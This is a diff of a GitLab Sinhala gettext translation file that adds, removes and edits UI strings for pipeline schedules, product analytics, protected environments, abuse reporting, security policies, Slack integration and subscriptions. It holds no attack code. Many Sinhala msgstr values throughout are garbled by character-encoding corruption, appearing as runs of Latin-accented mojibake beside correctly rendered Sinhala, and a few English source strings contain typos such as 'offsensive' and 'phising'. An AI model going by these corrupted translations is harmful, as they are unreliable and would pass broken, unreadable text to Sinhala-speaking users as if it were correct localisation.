+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30226,6 +30585,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31180,9 +31542,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31214,7 +31573,7 @@ msgid "Preferences|Display time in 24-hour format"
msgstr ""
msgid "Preferences|Enable Gitpod integration"
-msgstr ""
+msgstr "ගිට්පොඩ් අනුකලනය සබල කරන්න"
msgid "Preferences|Enable integrated code intelligence on code views"
msgstr ""
@@ -31240,6 +31599,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr "පෙරදසුන"
@@ -31267,7 +31629,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31282,9 +31647,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -31396,6 +31758,9 @@ msgstr ""
msgid "Private profile"
msgstr "පෞද්ගලික පà·à¶­à·’කඩ"
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31408,27 +31773,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr "උපකරණ පුවරුවට යොදන්න"
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -31481,7 +32047,7 @@ msgid "ProductivityAnalytics|is earlier than the given merged at after date"
msgstr ""
msgid "Profile"
-msgstr ""
+msgstr "පà·à¶­à·’කඩ"
msgid "Profile Settings"
msgstr ""
@@ -31568,7 +32134,7 @@ msgid "Profiles|Connected Accounts"
msgstr ""
msgid "Profiles|Created%{time_ago}"
-msgstr ""
+msgstr "සෑදුවේ %{time_ago}"
msgid "Profiles|Current path: %{path}"
msgstr ""
@@ -31790,10 +32356,10 @@ msgid "Profiles|Upload new avatar"
msgstr "නව ප්â€à¶»à¶­à·’රූපයක් යොදන්න"
msgid "Profiles|Usage type"
-msgstr ""
+msgstr "භà·à·€à·’ත වර්ගය"
msgid "Profiles|Usage type:"
-msgstr ""
+msgstr "භà·à·€à·’ත වර්ගය:"
msgid "Profiles|Use a private email - %{email}"
msgstr ""
@@ -32083,6 +32649,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -32302,6 +32880,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32377,9 +32958,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr ""
@@ -32456,7 +33034,7 @@ msgid "ProjectSettings|Forks"
msgstr ""
msgid "ProjectSettings|Git Large File Storage (LFS)"
-msgstr ""
+msgstr "Git විà·à·à¶½ ගොනු ආචයනය (LFS)"
msgid "ProjectSettings|Global"
msgstr ""
@@ -32551,9 +33129,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr "මෙහෙයුම්"
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -32704,10 +33279,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -32839,6 +33414,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -32852,10 +33430,10 @@ msgid "ProjectView|Activity"
msgstr ""
msgid "ProjectView|Files and Readme (default)"
-msgstr ""
+msgstr "ගොනු හ෠මෙයකියවන්න (පෙරනිමි)"
msgid "ProjectView|Readme"
-msgstr ""
+msgstr "මෙයකියවන්න"
msgid "Projects"
msgstr "ව්â€à¶ºà·à¶´à·˜à¶­à·’"
@@ -32981,10 +33559,10 @@ msgid "ProjectsNew|Import project"
msgstr "ව්â€à¶ºà·à¶´à·˜à¶­à·’ය ආයà·à¶­à¶º"
msgid "ProjectsNew|Include a Getting Started README"
-msgstr ""
+msgstr "මෙයකියවන්න ඇරඹුමක් ඇතුළත් කරන්න"
msgid "ProjectsNew|Initialize repository with a README"
-msgstr ""
+msgstr "මෙයකියවන්න සහිතව කà·à·‚්ඨය අරඹන්න"
msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr "ගිට්හබ්, බිට්බකට් හ෠ගිට්ලà·à¶¶à·Š à·„à·’ වෙනත් සේවà·à¶¯à·à¶ºà¶š à·€à·à¶±à·’ බà·à·„ිර මූලà·à·à·Šâ€à¶»à¶ºà¶šà·’න් ඔබගේ දත්ත සංක්â€à¶»à¶¸à¶«à¶º කරන්න."
@@ -33404,7 +33982,7 @@ msgid "ProtectedBranch|Learn more."
msgstr ""
msgid "ProtectedBranch|New Protected Tag"
-msgstr ""
+msgstr "නව රක්â€à·‚ිත අනන්â€à¶ºà¶±à¶º"
msgid "ProtectedBranch|No tags are protected."
msgstr ""
@@ -33434,7 +34012,7 @@ msgid "ProtectedBranch|Require approval from code owners:"
msgstr ""
msgid "ProtectedBranch|Search protected tags"
-msgstr ""
+msgstr "රක්â€à·‚ිත අනන්â€à¶ºà¶± සොයන්න"
msgid "ProtectedBranch|Select tag or create wildcard"
msgstr ""
@@ -33463,6 +34041,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -33475,6 +34071,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -33511,6 +34110,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr "සමූහ තà·à¶»à¶±à·Šà¶±"
@@ -33536,7 +34138,7 @@ msgid "ProtectedTags|Unprotect tag"
msgstr ""
msgid "ProtectedTags|default"
-msgstr ""
+msgstr "පෙරනිමි"
msgid "ProtectedTag|By default, protected tags restrict who can modify the tag."
msgstr ""
@@ -33833,7 +34435,7 @@ msgid "Quota of CI/CD minutes:"
msgstr ""
msgid "README"
-msgstr ""
+msgstr "මෙයකියවන්න"
msgid "Rails"
msgstr ""
@@ -34241,6 +34843,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34508,9 +35113,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -34568,9 +35170,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr "පිලිතුරු"
@@ -34607,6 +35206,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr "බලපත්â€à¶»à¶º භà·à·€à·’තය ගිට්ලà·à¶¶à·Š වෙත à·€à·à¶»à·Šà¶­à· කරන්න"
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -35244,7 +35870,7 @@ msgid "Review changes"
msgstr ""
msgid "Review requests for you"
-msgstr ""
+msgstr "ඔබ සඳහ෠සමà·à¶½à·à¶ à¶± ඉල්ලීම්"
msgid "Review the changes locally."
msgstr ""
@@ -35553,7 +36179,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -35926,7 +36552,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -36133,6 +36759,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -36157,14 +36789,11 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
msgid "ScanExecutionPolicy|Tags"
-msgstr ""
+msgstr "අනන්â€à¶ºà¶±"
msgid "ScanExecutionPolicy|agent"
msgstr ""
@@ -36175,6 +36804,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -36184,12 +36816,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36382,9 +37038,6 @@ msgstr "ව්â€à¶ºà·à¶´à·˜à¶­à·’ය සොයන්න"
msgid "Search projects"
msgstr "ව්â€à¶ºà·à¶´à·˜à¶­à·’ සොයන්න"
-msgid "Search projects..."
-msgstr "ව්â€à¶ºà·à¶´à·˜à¶­à·’ සොයන්න..."
-
msgid "Search protected branches"
msgstr "රක්â€à·‚ිත à·à·à¶›à· සොයන්න"
@@ -36752,6 +37405,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -36773,6 +37435,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -37052,7 +37717,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -37115,10 +37780,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -37133,6 +37798,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -37202,9 +37870,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37424,9 +38089,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37454,6 +38116,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37484,9 +38149,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37505,9 +38167,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38287,6 +38946,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38502,9 +39164,6 @@ msgstr "පිවිසෙන්න හ෠උපකà·à¶» පිටුව"
msgid "Sign-in count:"
msgstr "පිවිසුම් ගණන:"
-msgid "Sign-in failed because %{error}."
-msgstr "%{error} නිස෠පිවිසීමට අසමත් විය."
-
msgid "Sign-in page"
msgstr "පිවිසෙන පිටුව"
@@ -38631,9 +39290,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -38664,6 +39320,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -38691,10 +39353,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -38706,22 +39368,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
-msgstr ""
-
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -38824,7 +39480,7 @@ msgid "Someone edited this test case at the same time you did. The description h
msgstr ""
msgid "Someone signed in to your %{host} account from a new location"
-msgstr ""
+msgstr "යමෙක් ඔබගේ %{host} ගිණුමට නව ස්ථà·à¶±à¶ºà¶šà·’න් ඇතුළු වී ඇත"
msgid "Someone, hopefully you, has requested to reset the password for your GitLab account on %{link_to_gitlab}."
msgstr "යමෙක්, බොහà·à·€à·’ට ඔබ, %{link_to_gitlab} à·„à·’ ඔබගේ ගිට්ලà·à¶¶à·Š ගිණුමේ මුරපදය යළි පිහිටුවීමට ඉල්ල෠ඇත."
@@ -39219,6 +39875,12 @@ msgstr "මූලà·à·à·Šâ€à¶» අ.ජà·.කෙ."
msgid "Source branch"
msgstr "මූලà·à·à·Šâ€à¶» à·à·à¶›à·à·€"
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr "මූලà·à·à·Šâ€à¶» à·à·à¶›à·à·€ මක෠දà·à¶¸à·™à¶±à·” ඇත."
@@ -39414,15 +40076,15 @@ msgstr ""
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr "නව à·ƒà·à¶šà¶ à·Šà¶¡à·à·€à¶šà·Š අරඹන්න…"
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr "සමà·à¶½à·à¶ à¶±à¶ºà¶šà·Š අරඹන්න"
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -39912,18 +40574,36 @@ msgstr ""
msgid "Subscriptions"
msgstr "දà·à¶ºà¶šà¶­à·Šâ€à·€"
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr "අලෙවිය සමඟ කත෠කරන්න"
msgid "Subscriptions|Close"
msgstr "වසන්න"
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr "මිලදී ගà·à¶±à·“මට සූදà·à¶±à¶¸à·Š නà·à¶­à·’ද?"
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40140,6 +40820,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40158,7 +40841,7 @@ msgstr "මේචබලපත්â€à¶»à¶šà¶»à¶«à¶º"
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -40179,9 +40862,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr "කළමනà·à¶šà¶»à¶«à¶º"
-
msgid "SuperSonics|Maximum users"
msgstr "උපරිම පරිà·à·“ලකයින්"
@@ -40506,7 +41186,7 @@ msgid "TagsPage|Cancel, keep tag"
msgstr ""
msgid "TagsPage|Create release"
-msgstr ""
+msgstr "නිකුතුව à·ƒà·à¶¯à¶±à·Šà¶±"
msgid "TagsPage|Create tag"
msgstr "අනන්â€à¶ºà¶±à¶º à·ƒà·à¶¯à¶±à·Šà¶±"
@@ -40530,7 +41210,7 @@ msgid "TagsPage|Do you want to create a release with the new tag? You can do tha
msgstr ""
msgid "TagsPage|Edit release"
-msgstr ""
+msgstr "නිකුතුව සංස්කරණය"
msgid "TagsPage|Existing branch name, tag, or commit SHA"
msgstr ""
@@ -40670,15 +41350,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr "දà·à¶±à·Š ආචයනය තà·à·€à¶šà·à¶½à·’කව à·€à·à¶©à·’ කරන්නද?"
-
msgid "Terminal"
msgstr "අග්â€à¶»à¶º"
@@ -40709,6 +41380,21 @@ msgstr ""
